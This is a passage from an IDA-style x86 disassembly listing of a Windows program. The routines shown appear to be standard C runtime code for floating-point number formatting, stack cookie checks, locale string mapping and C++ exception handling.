XREF: sub_417E53+1Fj mov cl, [eax] test cl, cl jnz short loc_417E74 loc_417E85: ; CODE XREF: sub_417E53+24j ; sub_417E53+29j mov edx, eax loc_417E87: ; CODE XREF: sub_417E53+38j dec eax cmp byte ptr [eax], 30h jz short loc_417E87 cmp [eax], bl jnz short loc_417E92 dec eax loc_417E92: ; CODE XREF: sub_417E53+3Cj ; sub_417E53+47j mov cl, [edx] inc eax inc edx test cl, cl mov [eax], cl jnz short loc_417E92 loc_417E9C: ; CODE XREF: sub_417E53+1Dj pop ebx retn sub_417E53 endp ; =============== S U B R O U T I N E ======================================= sub_417E9E proc near ; DATA XREF: sub_413460+28o ; .data:off_42CE28o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp ds:dbl_427A60 fnstsw ax test ah, 1 jnz short loc_417EB5 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_417EB5: ; CODE XREF: sub_417E9E+11j xor eax, eax retn sub_417E9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EB8 proc near ; CODE XREF: sub_41554C+40Dp ; DATA XREF: sub_413460+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_417EE1 lea eax, [ebp+var_8] push eax call sub_41C60D mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_417EE1: ; CODE XREF: sub_417EB8+Cj lea eax, [ebp+arg_0] push eax call sub_41C650 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_0] mov [eax], ecx leave retn sub_417EB8 endp ; =============== S U B R O U T I N E ======================================= sub_417EF6 proc near ; CODE XREF: sub_417F13+23p ; sub_418035+45p ... test edi, edi push esi mov esi, eax jz short loc_417F11 push esi call sub_416000 inc eax push eax push esi add esi, edi push esi call sub_41BC70 add esp, 10h loc_417F11: ; CODE XREF: sub_417EF6+5j pop esi retn sub_417EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F13 proc near ; CODE XREF: sub_417FC1+5Bp ; sub_418139+88p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 push esi mov esi, eax jz short loc_417F3C xor eax, eax cmp [ebp+arg_0], eax push edi setnle al xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl mov edi, eax add ecx, ebx mov eax, ecx call sub_417EF6 pop edi loc_417F3C: ; CODE XREF: sub_417F13+Aj cmp dword ptr [esi], 2Dh mov eax, ebx jnz short loc_417F49 mov byte ptr [ebx], 2Dh lea eax, [ebx+1] loc_417F49: ; CODE XREF: sub_417F13+2Ej cmp [ebp+arg_0], 0 jle short loc_417F60 lea ecx, [eax+1] mov dl, [ecx] mov [eax], dl mov eax, ecx mov cl, byte_42D090 mov [eax], cl loc_417F60: ; CODE XREF: sub_417F13+3Aj xor ecx, ecx cmp [ebp+arg_8], cl push offset dword_427A68 setz cl add ecx, eax add ecx, [ebp+arg_0] push ecx call sub_41B390 cmp [ebp+arg_4], 0 pop ecx pop ecx mov ecx, eax jz short loc_417F85 mov byte ptr [ecx], 45h loc_417F85: ; CODE XREF: sub_417F13+6Dj mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_417FBC mov eax, [esi+4] dec eax jns short loc_417F99 neg eax mov byte ptr [ecx], 2Dh loc_417F99: ; CODE XREF: sub_417F13+7Fj inc ecx cmp eax, 64h jl short loc_417FA9 cdq push 64h pop esi idiv esi add [ecx], al mov eax, edx loc_417FA9: ; CODE XREF: sub_417F13+8Aj inc ecx cmp eax, 0Ah jl short loc_417FB9 cdq push 0Ah pop esi idiv esi add [ecx], al mov eax, edx loc_417FB9: ; CODE XREF: sub_417F13+9Aj add [ecx+1], al loc_417FBC: ; CODE XREF: sub_417F13+79j mov eax, ebx pop esi pop ebp retn sub_417F13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FC1 proc near ; CODE XREF: sub_4181D9+47p var_2C = byte ptr -2Ch var_14 = dword ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_42CE38 xor eax, [ebp+4] push ebx mov [ebp+var_4], eax push esi lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_14] push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] push dword ptr [eax] call sub_41C7C4 mov esi, [ebp+arg_8] mov ebx, [ebp+arg_4] lea eax, [ebp+var_14] push eax lea eax, [esi+1] push eax xor eax, eax cmp [ebp+var_14], 2Dh mov edx, ebx setz al xor ecx, ecx test esi, esi setnle cl add edx, eax add ecx, edx push ecx call sub_41C693 push 0 push [ebp+arg_C] lea eax, [ebp+var_14] push esi call sub_417F13 mov ecx, [ebp+var_4] xor ecx, [ebp+4] add esp, 28h pop esi mov eax, ebx pop ebx call sub_4182D6 leave retn sub_417FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418035 proc near ; CODE XREF: sub_4180D1+4Fp ; sub_418139+75p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, eax mov eax, [esi+4] dec eax cmp [ebp+arg_8], 0 push edi jz short loc_418062 cmp eax, [ebp+arg_4] jnz short loc_418062 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, [ebp+arg_0] mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 loc_418062: ; CODE XREF: sub_418035+10j ; sub_418035+15j cmp dword ptr [esi], 2Dh mov ebx, [ebp+arg_0] jnz short loc_41806E mov byte ptr [ebx], 2Dh inc ebx loc_41806E: ; CODE XREF: sub_418035+33j mov eax, [esi+4] xor edi, edi inc edi test eax, eax jg short loc_418085 mov eax, ebx call sub_417EF6 mov byte ptr [ebx], 30h inc ebx jmp short loc_418087 ; --------------------------------------------------------------------------- loc_418085: ; CODE XREF: sub_418035+41j add ebx, eax loc_418087: ; CODE XREF: sub_418035+4Ej cmp [ebp+arg_4], 0 jle short loc_4180C9 mov eax, ebx call sub_417EF6 mov al, byte_42D090 mov [ebx], al mov esi, [esi+4] inc ebx test esi, esi jge short loc_4180C9 neg esi cmp [ebp+arg_8], 0 jnz short loc_4180B0 cmp [ebp+arg_4], esi jl short loc_4180B3 loc_4180B0: ; CODE XREF: sub_418035+74j mov [ebp+arg_4], esi loc_4180B3: ; CODE XREF: sub_418035+79j mov edi, [ebp+arg_4] mov eax, ebx call sub_417EF6 push edi push 30h push ebx call sub_41ADD0 add esp, 0Ch loc_4180C9: ; CODE XREF: sub_418035+56j ; sub_418035+6Cj mov eax, [ebp+arg_0] pop edi pop esi pop ebx pop ebp retn sub_418035 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180D1 proc near ; CODE XREF: sub_4181D9+1Ep var_2C = byte ptr -2Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_42CE38 xor eax, [ebp+4] push esi mov [ebp+var_4], eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_14] push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] push dword ptr [eax] call sub_41C7C4 mov esi, [ebp+arg_8] lea eax, [ebp+var_14] push eax mov eax, [ebp+var_10] add eax, esi push eax xor eax, eax cmp [ebp+var_14], 2Dh setz al add eax, [ebp+arg_4] push eax call sub_41C693 push 0 push esi push [ebp+arg_4] lea eax, [ebp+var_14] call sub_418035 mov ecx, [ebp+var_4] xor ecx, [ebp+4] mov eax, [ebp+arg_4] add esp, 28h pop esi call sub_4182D6 leave retn sub_4180D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418139 proc near ; CODE XREF: sub_4181D9+34p var_2C = byte ptr -2Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_42CE38 xor eax, [ebp+4] push ebx push esi mov [ebp+var_4], eax push edi lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_14] push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] push dword ptr [eax] call sub_41C7C4 mov esi, [ebp+var_10] mov ebx, [ebp+arg_8] xor eax, eax dec esi cmp [ebp+var_14], 2Dh setz al add eax, [ebp+arg_4] mov edi, eax lea eax, [ebp+var_14] push eax push ebx push edi call sub_41C693 mov eax, [ebp+var_10] add esp, 1Ch dec eax cmp esi, eax setl cl cmp eax, 0FFFFFFFCh jl short loc_4181B5 cmp eax, ebx jge short loc_4181B5 test cl, cl jz short loc_4181A5 loc_41819B: ; CODE XREF: sub_418139+67j mov al, [edi] inc edi test al, al jnz short loc_41819B and [edi-2], al loc_4181A5: ; CODE XREF: sub_418139+60j push 1 push ebx push [ebp+arg_4] lea eax, [ebp+var_14] call sub_418035 jmp short loc_4181C6 ; --------------------------------------------------------------------------- loc_4181B5: ; CODE XREF: sub_418139+58j ; sub_418139+5Cj push 1 push [ebp+arg_C] lea eax, [ebp+var_14] push ebx mov ebx, [ebp+arg_4] call sub_417F13 loc_4181C6: ; CODE XREF: sub_418139+7Aj mov ecx, [ebp+var_4] xor ecx, [ebp+4] add esp, 0Ch pop edi pop esi pop ebx call sub_4182D6 leave retn sub_418139 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4181D9 proc near ; CODE XREF: sub_414CA3+43Ep ; DATA XREF: sub_413460o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_418214 cmp [ebp+arg_8], 45h jz short loc_418214 cmp [ebp+arg_8], 66h jnz short loc_418201 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4180D1 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_418201: ; CODE XREF: sub_4181D9+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_418139 jmp short loc_418225 ; --------------------------------------------------------------------------- loc_418214: ; CODE XREF: sub_4181D9+7j ; sub_4181D9+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_417FC1 loc_418225: ; CODE XREF: sub_4181D9+39j add esp, 10h pop ebp retn sub_4181D9 endp ; =============== S U B R O U T I N E ======================================= sub_41822A proc near ; CODE XREF: sub_413498+Fp push 30000h push 10000h call sub_41C991 pop ecx pop ecx retn sub_41822A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41823C proc near ; CODE XREF: sub_41827C:loc_4182A0j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld ds:dbl_427A80 fstp [ebp+var_8] fld ds:dbl_427A78 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp ds:dbl_427A70 fnstsw ax test ah, 41h jnz short loc_418278 xor eax, eax inc eax leave retn ; --------------------------------------------------------------------------- loc_418278: ; CODE XREF: sub_41823C+35j xor eax, eax leave retn sub_41823C endp ; =============== S U B R O U T I N E ======================================= sub_41827C proc near ; CODE XREF: sub_413498+5p push offset aKernel32 ; "KERNEL32" call ds:dword_41F078 test eax, eax jz short loc_4182A0 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call ds:dword_41F074 test eax, eax jz short loc_4182A0 push 0 call eax retn ; --------------------------------------------------------------------------- loc_4182A0: ; CODE XREF: sub_41827C+Dj ; sub_41827C+1Dj jmp sub_41823C sub_41827C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4182D6 loc_4182A5: ; CODE XREF: sub_4182D6:loc_4182DFj push 8 push offset stru_427EC0 call __SEH_prolog and dword ptr [ebp-4], 0 push 0 push 1 call sub_41C9FD pop ecx pop ecx jmp short loc_4182C9 ; END OF FUNCTION CHUNK FOR sub_4182D6 ; =============== S U B R O U T I N E ======================================= sub_4182C2 proc near ; DATA XREF: .rdata:stru_427EC0o xor eax, eax inc eax retn sub_4182C2 endp ; --------------------------------------------------------------------------- loc_4182C6: ; DATA XREF: .rdata:stru_427EC0o mov esp, [ebp-18h] ; START OF FUNCTION CHUNK FOR sub_4182D6 loc_4182C9: ; CODE XREF: sub_4182D6-16j or dword ptr [ebp-4], 0FFFFFFFFh push 3 call ds:dword_41F02C int 3 ; Trap to Debugger ; END OF FUNCTION CHUNK FOR sub_4182D6 ; =============== S U B R O U T I N E ======================================= sub_4182D6 proc near ; CODE XREF: sub_413859+B4p ; sub_414CA3+76Ep ... ; FUNCTION CHUNK AT 004182A5 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004182C9 SIZE 0000000D BYTES cmp ecx, dword_42CE38 jnz short loc_4182DF retn ; --------------------------------------------------------------------------- loc_4182DF: ; CODE XREF: sub_4182D6+6j jmp loc_4182A5 sub_4182D6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182E4 proc near ; CODE XREF: sub_4139A6+91p ; sub_4190C6+C8p ... var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push 38h push offset stru_427ED0 call __SEH_prolog xor ebx, ebx cmp dword_47A018, ebx jnz short loc_418332 push ebx push ebx xor esi, esi inc esi push esi push offset dword_427ECC push 100h push ebx call ds:dword_41F180 test eax, eax jz short loc_41831D mov dword_47A018, esi jmp short loc_418332 ; --------------------------------------------------------------------------- loc_41831D: ; CODE XREF: sub_4182E4+2Fj call ds:dword_41F008 cmp eax, 78h jnz short loc_418332 mov dword_47A018, 2 loc_418332: ; CODE XREF: sub_4182E4+14j ; sub_4182E4+37j ... cmp [ebp+arg_C], ebx jle short loc_418352 mov ecx, [ebp+arg_C] mov eax, [ebp+arg_8] loc_41833D: ; CODE XREF: sub_4182E4+61j dec ecx cmp [eax], bl jz short loc_41834A inc eax cmp ecx, ebx jnz short loc_41833D or ecx, 0FFFFFFFFh loc_41834A: ; CODE XREF: sub_4182E4+5Cj or eax, 0FFFFFFFFh sub eax, ecx add [ebp+arg_C], eax loc_418352: ; CODE XREF: sub_4182E4+51j mov eax, dword_47A018 cmp eax, 2 jz loc_41853C cmp eax, ebx jz loc_41853C cmp eax, 1 jnz loc_41856F xor edi, edi mov [ebp+var_1C], edi mov [ebp+var_20], ebx mov [ebp+var_24], ebx cmp [ebp+arg_18], ebx jnz short loc_418389 mov eax, dword_47A188 mov [ebp+arg_18], eax loc_418389: ; CODE XREF: sub_4182E4+9Bj push ebx push ebx push [ebp+arg_C] push [ebp+arg_8] xor eax, eax cmp [ebp+arg_1C], ebx setnz al lea eax, ds:1[eax*8] push eax push [ebp+arg_18] call ds:dword_41F0A8 mov esi, eax mov [ebp+var_28], esi cmp esi, ebx jz loc_41856F mov [ebp+ms_exc.disabled], 1 lea eax, [esi+esi] add eax, 3 and eax, 0FFFFFFFCh call sub_412DD0 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_2C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_4183F5 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] call sub_41AE30 xor ebx, ebx mov [ebp+var_2C], ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_1C] mov esi, [ebp+var_28] loc_4183F5: ; CODE XREF: sub_4182E4+F4j cmp [ebp+var_2C], ebx jnz short loc_418416 lea eax, [esi+esi] push eax call sub_41344D pop ecx mov [ebp+var_2C], eax cmp eax, ebx jz loc_41856F mov [ebp+var_20], 1 loc_418416: ; CODE XREF: sub_4182E4+114j push esi push [ebp+var_2C] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call ds:dword_41F0A8 test eax, eax jz loc_418519 push ebx push ebx push esi push [ebp+var_2C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41F180 mov edi, eax mov [ebp+var_1C], edi cmp edi, ebx jz loc_418519 test byte ptr [ebp+arg_4+1], 4 jz short loc_418485 cmp [ebp+arg_14], ebx jz loc_418519 cmp edi, [ebp+arg_14] jg loc_418519 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+var_2C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41F180 jmp loc_418519 ; --------------------------------------------------------------------------- loc_418485: ; CODE XREF: sub_4182E4+172j mov [ebp+ms_exc.disabled], 2 lea eax, [edi+edi] add eax, 3 and eax, 0FFFFFFFCh call sub_412DD0 mov [ebp+ms_exc.old_esp], esp mov eax, esp mov [ebp+var_30], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_4184C3 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] call sub_41AE30 xor ebx, ebx mov [ebp+var_30], ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_1C] mov esi, [ebp+var_28] loc_4184C3: ; CODE XREF: sub_4182E4+1C2j cmp [ebp+var_30], ebx jnz short loc_4184E0 lea eax, [edi+edi] push eax call sub_41344D pop ecx mov [ebp+var_30], eax cmp eax, ebx jz short loc_418519 mov [ebp+var_24], 1 loc_4184E0: ; CODE XREF: sub_4182E4+1E2j push edi push [ebp+var_30] push esi push [ebp+var_2C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41F180 test eax, eax jz short loc_418519 push ebx push ebx cmp [ebp+arg_14], ebx jnz short loc_418503 push ebx push ebx jmp short loc_418509 ; --------------------------------------------------------------------------- loc_418503: ; CODE XREF: sub_4182E4+219j push [ebp+arg_14] push [ebp+arg_10] loc_418509: ; CODE XREF: sub_4182E4+21Dj push edi push [ebp+var_30] push ebx push [ebp+arg_18] call ds:dword_41F0AC mov edi, eax loc_418519: ; CODE XREF: sub_4182E4+149j ; sub_4182E4+168j ... cmp [ebp+var_24], ebx jz short loc_418527 push [ebp+var_30] call sub_412FE4 pop ecx loc_418527: ; CODE XREF: sub_4182E4+238j cmp [ebp+var_20], ebx jz short loc_418535 push [ebp+var_2C] call sub_412FE4 pop ecx loc_418535: ; CODE XREF: sub_4182E4+246j mov eax, edi jmp loc_418697 ; --------------------------------------------------------------------------- loc_41853C: ; CODE XREF: sub_4182E4+76j ; sub_4182E4+7Ej mov [ebp+var_34], ebx xor edi, edi mov [ebp+var_38], ebx cmp [ebp+arg_0], ebx jnz short loc_418551 mov eax, dword_47A178 mov [ebp+arg_0], eax loc_418551: ; CODE XREF: sub_4182E4+263j cmp [ebp+arg_18], ebx jnz short loc_41855E mov eax, dword_47A188 mov [ebp+arg_18], eax loc_41855E: ; CODE XREF: sub_4182E4+270j push [ebp+arg_0] call sub_41CB47 pop ecx mov [ebp+var_3C], eax cmp eax, 0FFFFFFFFh jnz short loc_418576 loc_41856F: ; CODE XREF: sub_4182E4+87j ; sub_4182E4+CDj ... xor eax, eax jmp loc_418697 ; --------------------------------------------------------------------------- loc_418576: ; CODE XREF: sub_4182E4+289j cmp eax, [ebp+arg_18] jz loc_41866D push ebx push ebx lea ecx, [ebp+arg_C] push ecx push [ebp+arg_8] push eax push [ebp+arg_18] call sub_41CB90 add esp, 18h mov [ebp+var_34], eax cmp eax, ebx jz short loc_41856F push ebx push ebx push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41F17C mov esi, eax mov [ebp+var_40], esi cmp esi, ebx jz loc_41865C mov [ebp+ms_exc.disabled], ebx add eax, 3 and eax, 0FFFFFFFCh call sub_412DD0 mov [ebp+ms_exc.old_esp], esp mov edi, esp mov [ebp+var_44], edi push esi push ebx push edi call sub_41ADD0 add esp, 0Ch jmp short loc_4185ED ; --------------------------------------------------------------------------- loc_4185DD: ; DATA XREF: .rdata:stru_427ED0o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4185E1: ; DATA XREF: .rdata:stru_427ED0o mov esp, [ebp+ms_exc.old_esp] call sub_41AE30 xor ebx, ebx xor edi, edi loc_4185ED: ; CODE XREF: sub_4182E4+2F7j or [ebp+ms_exc.disabled], 0FFFFFFFFh cmp edi, ebx jnz short loc_418618 push [ebp+var_40] call sub_41344D pop ecx mov edi, eax cmp edi, ebx jz short loc_418635 push [ebp+var_40] push ebx push edi call sub_41ADD0 add esp, 0Ch mov [ebp+var_38], 1 loc_418618: ; CODE XREF: sub_4182E4+30Fj push [ebp+var_40] push edi push [ebp+arg_C] push [ebp+var_34] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41F17C mov [ebp+var_40], eax cmp eax, ebx jnz short loc_418639 loc_418635: ; CODE XREF: sub_4182E4+31Ej xor esi, esi jmp short loc_41865F ; --------------------------------------------------------------------------- loc_418639: ; CODE XREF: sub_4182E4+34Fj push [ebp+arg_14] push [ebp+arg_10] lea eax, [ebp+var_40] push eax push edi push [ebp+arg_18] push [ebp+var_3C] call sub_41CB90 add esp, 18h mov esi, eax neg esi sbb esi, esi neg esi jmp short loc_41865F ; --------------------------------------------------------------------------- loc_41865C: ; CODE XREF: sub_4182E4+2D0j mov esi, [ebp+var_48] loc_41865F: ; CODE XREF: sub_4182E4+353j ; sub_4182E4+376j cmp [ebp+var_38], ebx jz short loc_418687 push edi call sub_412FE4 pop ecx jmp short loc_418687 ; --------------------------------------------------------------------------- loc_41866D: ; CODE XREF: sub_4182E4+295j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41F17C mov esi, eax loc_418687: ; CODE XREF: sub_4182E4+37Ej ; sub_4182E4+387j cmp [ebp+var_34], ebx jz short loc_418695 push [ebp+var_34] call sub_412FE4 pop ecx loc_418695: ; CODE XREF: sub_4182E4+3A6j mov eax, esi loc_418697: ; CODE XREF: sub_4182E4+253j ; sub_4182E4+28Dj lea esp, [ebp-54h] call __SEH_epilog retn sub_4182E4 endp ; =============== S U B R O U T I N E ======================================= sub_4186A0 proc near ; CODE XREF: sub_418C87+138p arg_0 = dword ptr 4 mov eax, [esi+4] test eax, eax jz short loc_4186EB lea edx, [eax+8] cmp byte ptr [edx], 0 jz short loc_4186EB mov ecx, [edi+4] cmp eax, ecx jz short loc_4186C6 add ecx, 8 push ecx push edx call sub_41B4E0 test eax, eax pop ecx pop ecx jnz short loc_4186E8 loc_4186C6: ; CODE XREF: sub_4186A0+14j test byte ptr [edi], 2 jz short loc_4186D0 test byte ptr [esi], 8 jz short loc_4186E8 loc_4186D0: ; CODE XREF: sub_4186A0+29j mov eax, [esp+arg_0] mov eax, [eax] test al, 1 jz short loc_4186DF test byte ptr [esi], 1 jz short loc_4186E8 loc_4186DF: ; CODE XREF: sub_4186A0+38j test al, 2 jz short loc_4186EB test byte ptr [esi], 2 jnz short loc_4186EB loc_4186E8: ; CODE XREF: sub_4186A0+24j ; sub_4186A0+2Ej ... xor eax, eax retn ; --------------------------------------------------------------------------- loc_4186EB: ; CODE XREF: sub_4186A0+5j ; sub_4186A0+Dj ... xor eax, eax inc eax retn sub_4186A0 endp ; =============== S U B R O U T I N E ======================================= sub_4186EF proc near ; CODE XREF: sub_41870D+76p mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_4186FC xor eax, eax retn ; --------------------------------------------------------------------------- loc_4186FC: ; CODE XREF: sub_4186EF+8j call sub_415456 and dword ptr [eax+80h], 0 jmp sub_418F0B sub_4186EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41870D proc near ; CODE XREF: sub_41883D+117p ; sub_418B60+31p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push 10h push offset stru_427EF8 call __SEH_prolog mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi call sub_415456 add eax, 80h inc dword ptr [eax] and [ebp+ms_exc.disabled], 0 mov edi, [ebp+arg_8] loc_418735: ; CODE XREF: sub_41870D+8Fj cmp esi, [ebp+arg_C] jz short loc_41879E cmp esi, 0FFFFFFFFh jle short loc_418744 cmp esi, [edi+4] jl short loc_418749 loc_418744: ; CODE XREF: sub_41870D+30j call sub_418F40 loc_418749: ; CODE XREF: sub_41870D+35j mov eax, esi shl eax, 3 mov ecx, [edi+8] add ecx, eax mov esi, [ecx] mov [ebp+var_20], esi mov [ebp+ms_exc.disabled], 1 cmp dword ptr [ecx+4], 0 jz short loc_41877A mov [ebx+8], esi push 103h push ebx mov ecx, [edi+8] push dword ptr [ecx+eax+4] call sub_418F70 loc_41877A: ; CODE XREF: sub_41870D+56j and [ebp+ms_exc.disabled], 0 jmp short loc_418799 ; --------------------------------------------------------------------------- loc_418780: ; DATA XREF: .rdata:00427F08o mov eax, [ebp+ms_exc.exc_ptr] call sub_4186EF retn ; --------------------------------------------------------------------------- loc_418789: ; DATA XREF: .rdata:00427F0Co mov esp, [ebp+ms_exc.old_esp] and [ebp+ms_exc.disabled], 0 mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_20] loc_418799: ; CODE XREF: sub_41870D+71j mov [ebp+var_1C], esi jmp short loc_418735 ; --------------------------------------------------------------------------- loc_41879E: ; CODE XREF: sub_41870D+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4187C0 cmp esi, [ebp+arg_C] jz short loc_4187B1 call sub_418F40 loc_4187B1: ; CODE XREF: sub_41870D+9Dj mov [ebx+8], esi call __SEH_epilog retn sub_41870D endp ; =============== S U B R O U T I N E ======================================= sub_4187BA proc near ; DATA XREF: .rdata:stru_427EF8o mov ebx, [ebp+8] mov esi, [ebp-1Ch] sub_4187BA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4187C0 proc near ; CODE XREF: sub_41870D+95p call sub_415456 cmp dword ptr [eax+80h], 0 jle short locret_4187DA call sub_415456 add eax, 80h dec dword ptr [eax] locret_4187DA: ; CODE XREF: sub_4187C0+Cj retn sub_4187C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4187DB proc near ; CODE XREF: sub_418980+5Cp ; sub_418C87+1A8p ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset stru_427F10 call __SEH_prolog mov eax, [ebp+arg_0] test eax, eax jz short loc_418809 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_418809 and [ebp+ms_exc.disabled], 0 push ecx push dword ptr [eax+18h] call sub_413ACE or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_418809: ; CODE XREF: sub_4187DB+11j ; sub_4187DB+1Bj call __SEH_epilog retn sub_4187DB endp ; =============== S U B R O U T I N E ======================================= sub_41880F proc near ; DATA XREF: .rdata:stru_427F10o xor eax, eax cmp [ebp+0Ch], al setnz al retn sub_41880F endp ; --------------------------------------------------------------------------- loc_418818: ; DATA XREF: .rdata:stru_427F10o mov esp, [ebp-18h] jmp sub_418F0B ; =============== S U B R O U T I N E ======================================= sub_418820 proc near ; CODE XREF: sub_4189E4+7Cp ; sub_4189E4+FBp ... mov edx, [ecx+4] push esi mov esi, eax mov eax, [ecx] add eax, esi test edx, edx jl short loc_41883B mov ecx, [ecx+8] mov esi, [edx+esi] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41883B: ; CODE XREF: sub_418820+Cj pop esi retn sub_418820 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41883D proc near ; CODE XREF: sub_418B60+52p var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 00418977 SIZE 00000003 BYTES push 40h push offset stru_427F20 call __SEH_prolog mov ebx, ecx mov edi, [ebp+arg_4] mov esi, 